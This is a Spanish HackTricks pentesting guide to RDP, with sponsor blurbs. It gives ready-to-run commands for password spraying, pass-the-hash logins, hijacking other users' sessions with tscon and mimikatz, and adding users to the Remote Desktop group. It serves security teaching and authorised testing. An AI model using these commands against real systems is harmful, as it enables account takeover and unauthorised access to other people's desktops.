hacktricks/network-services-pentesting/pentesting-rdp.md

10 KiB

3389 - Pentesting RDP

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Configuración disponible instantáneamente para evaluación de vulnerabilidades y pruebas de penetración. Realiza una prueba de penetración completa desde cualquier lugar con más de 20 herramientas y características que van desde la recopilación de información hasta la elaboración de informes. No reemplazamos a los pentesters; desarrollamos herramientas personalizadas, módulos de detección y explotación para devolverles algo de tiempo para profundizar, abrir shells y divertirse.

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

Información Básica

Desarrollado por Microsoft, el Protocolo de Escritorio Remoto (RDP) está diseñado para habilitar una conexión de interfaz gráfica entre computadoras a través de una red. Para establecer dicha conexión, el usuario utiliza software cliente de RDP, y simultáneamente, la computadora remota debe operar software servidor de RDP. Esta configuración permite el control y acceso sin problemas al entorno de escritorio de una computadora distante, esencialmente llevando su interfaz al dispositivo local del usuario.

Puerto por defecto: 3389

PORT     STATE SERVICE
3389/tcp open  ms-wbt-server

Enumeración

Automático

{% code overflow="wrap" %}

nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>

{% endcode %}

Verifica la encriptación disponible y la vulnerabilidad de DoS (sin causar DoS al servicio) y obtiene información de NTLM de Windows (versiones).

Fuerza bruta

Ten cuidado, podrías bloquear cuentas

Rociado de contraseñas

Ten cuidado, podrías bloquear cuentas

# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp

Conectar con credenciales/hash conocidas

rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash

Verificar credenciales conocidas contra servicios RDP

rdp_check.py de impacket te permite verificar si algunas credenciales son válidas para un servicio RDP:

rdp_check <domain>/<name>:<password>@<IP>

Configuración disponible al instante para evaluación de vulnerabilidades y pruebas de penetración. Realiza una prueba de penetración completa desde cualquier lugar con más de 20 herramientas y características que van desde la recopilación de información hasta la elaboración de informes. No reemplazamos a los pentesters; desarrollamos herramientas personalizadas, módulos de detección y explotación para devolverles algo de tiempo para profundizar, abrir shells y divertirse.

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

Ataques

Robo de sesión

Con permisos de SYSTEM puedes acceder a cualquier sesión RDP abierta por cualquier usuario sin necesidad de conocer la contraseña del propietario.

Obtener sesiones abiertas:

query user

Acceso a la sesión seleccionada

tscon <ID> /dest:<SESSIONNAME>

Ahora estarás dentro de la sesión RDP seleccionada y tendrás que suplantar a un usuario utilizando solo herramientas y características de Windows.

Importante: Cuando accedas a sesiones RDP activas, desconectarás al usuario que la estaba utilizando.

Podrías obtener contraseñas del proceso volcando su contenido, pero este método es mucho más rápido y te permite interactuar con los escritorios virtuales del usuario (contraseñas en el bloc de notas sin ser guardadas en el disco, otras sesiones RDP abiertas en otras máquinas...)

Mimikatz

También podrías usar mimikatz para hacer esto:

ts::sessions        #Get sessions
ts::remote /id:2    #Connect to the session

Sticky-keys & Utilman

Combinando esta técnica con stickykeys o utilman podrás acceder a un CMD administrativo y a cualquier sesión RDP en cualquier momento

Puedes buscar RDPs que han sido backdooreados con una de estas técnicas ya con: https://github.com/linuz/Sticky-Keys-Slayer

RDP Process Injection

Si alguien de un dominio diferente o con mejores privilegios inicia sesión vía RDP en la PC donde eres un Admin, puedes inyectar tu beacon en su proceso de sesión RDP y actuar como él:

{% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %} rdp-sessions-abuse.md {% endcontent-ref %}

Adding User to RDP group

net localgroup "Remote Desktop Users" UserLoginName /add

Herramientas Automáticas

AutoRDPwn es un marco de post-explotación creado en Powershell, diseñado principalmente para automatizar el ataque Shadow en computadoras Microsoft Windows. Esta vulnerabilidad (listada como una característica por Microsoft) permite a un atacante remoto ver el escritorio de su víctima sin su consentimiento, e incluso controlarlo a demanda, utilizando herramientas nativas del propio sistema operativo.

  • EvilRDP
  • Controlar el mouse y el teclado de manera automatizada desde la línea de comandos
  • Controlar el portapapeles de manera automatizada desde la línea de comandos
  • Generar un proxy SOCKS desde el cliente que canaliza la comunicación de red al objetivo a través de RDP
  • Ejecutar comandos SHELL y PowerShell arbitrarios en el objetivo sin subir archivos
  • Subir y descargar archivos al/del objetivo incluso cuando las transferencias de archivos están deshabilitadas en el objetivo

Comandos Automáticos de HackTricks

Protocol_Name: RDP    #Protocol Abbreviation if there is one.
Port_Number:  3389     #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.

https://book.hacktricks.xyz/pentesting/pentesting-rdp

Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}

Configuración disponible al instante para evaluación de vulnerabilidades y pruebas de penetración. Realiza un pentest completo desde cualquier lugar con más de 20 herramientas y características que van desde la recopilación hasta la elaboración de informes. No reemplazamos a los pentesters; desarrollamos herramientas personalizadas, módulos de detección y explotación para devolverles algo de tiempo para profundizar, abrir shells y divertirse.

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

{% hint style="success" %} Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks
{% endhint %}